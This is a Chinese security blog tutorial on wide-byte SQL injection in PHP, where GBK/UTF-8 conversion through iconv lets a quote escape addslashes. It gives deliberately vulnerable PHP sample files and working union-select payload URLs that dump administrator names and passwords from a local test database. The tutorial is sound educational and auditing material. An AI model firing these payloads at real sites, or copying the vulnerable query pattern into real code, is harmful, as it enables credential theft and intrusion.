影风博客

代码审计的艺术系列 第四篇

2019-03-23

0x01 前言

接白帽子分享之代码审计的艺术系列 第二篇和第三篇,这里讲宽字符注入漏洞产生的原因和案例分析。(没看过前三篇的同学,可以先看看前三篇)

首先我们了解下宽字节注入,宽字节注入源于程序员设置MySQL连接时错误配置为:set character_set_client=gbk,这样配置会引发编码转换从而导致的注入漏洞。具体原理如下:

1、正常情况下当GPC开启或使用addslashes函数过滤GETPOST提交的参数时,黑客使用的单引号'就会被转义为:\'

2、但如果存在宽字节注入,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27%5c是反斜杠\),之后在数据库查询前由于使用了GBK多字节编码,即在汉字编码范围内两个字节会被编码为一个汉字。然后MySQL服务器会对查询语句进行GBK编码即%df%5c转换成了汉字,而单引号逃逸了出来,从而造成了注入漏洞。

现在基本上都会将mysql的连接配置为setcharacter_set_client=binary来解决这个问题,所以这篇文章将介绍出现在php中因为字符编码转换导致的注入问题。

0x02 准备

知识储备:php基础、MySql入门

工具:notepad++

服务器环境:wamp

测试代码:见文中

0x03 全局防护Bypass下篇的脑图

0x04 宽字符注入

字符编码的转换函数像iconv的使用会出现这类注入问题,分gbkutf-8utf-8gbk两种情况。

1.GBK转UTF-8

缺陷代码:

kuanzifu1.php:

<?php
  require_once('common.php');
  $conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
  $title_tmp = isset($_GET['title']) ? urldecode($_GET['title']) : 'news title';
  //这里对title进行了gbk到utf-8的转换
  $title = iconv("gbk","utf-8",$title_tmp);
  $sql = "SELECT * FROM news WHERE title = '{$title}'";
  echo$sql;
  $result = mysql_query($sql, $conn) or die(mysql_error()); 
  ?>
  <!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

浏览器输入:

http://localhost/sqltest/kuanzifu1.php?title=%df' union select 1,2,concat(name,0x23,pass) from admin%23

发现获取了管理员账户密码如下图:

原理其实跟前言里第2条是一样的,我们输入%df%27时首先经过上面提到的单引号转义变成了%df%5c%27%5c是反斜杠\),然后%df%5c正好属于gbk的汉字编码范围,经过iconv转换到utf-8编码转换后变成了汉字,从而吞掉了反斜杠使得单引号逃脱出来。

2.UTF-8转GBK

缺陷代码:

kuanzifu2.php:

<?php
require_once('common.php');
$conn = mysql_connect('localhost', 'root', 'root') or die('bad!');
mysql_query("SET NAMES binary'");
mysql_select_db('test', $conn) OR emMsg("数据库连接失败");
$title_tmp = isset($_GET['title']) ? urldecode($_GET['title']) : 'news title';
$title = iconv("utf-8","gbk",$title_tmp);
$sql = "SELECT * FROM news WHERE title = '{$title}'";
echo $sql;
$result = mysql_query($sql, $conn) or die(mysql_error()); 
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8" />
    <title>新闻</title>
</head>
<body>
<?php
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo "<h3>{$row['title']}</h3><p>{$row['content']}<p>\n";
mysql_free_result($result);
?>
</body>
</html>

这里我们思考下这个字,它的utf-8编码是e98ca6,它的gbk编码是e55c,而上面提到过反斜杠\正好为5c

所以如果我们将title设置为:錦',首先经过addlashes函数或GPC对单引号转义变为:錦\',然后会经过icnov函数会对转化为gbk编码,最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从而单引号逃逸出来就会引发注入漏洞。

直接获取管理员账户密码的POC如下:

http://localhost/sqltest/kuanzifu2.php?title=錦' union select 1,2,concat(name,0x23,pass) from admin%23

实际执行的SQL语句:

SELECT * FROM news WHERE title = '\xE5\\' union select 1,2,concat(name,0x23,pass) from admin#'
使用支付宝打赏
使用微信打赏

若你觉得我的文章对你有帮助,欢迎点击上方按钮对我打赏

扫描二维码,分享此文章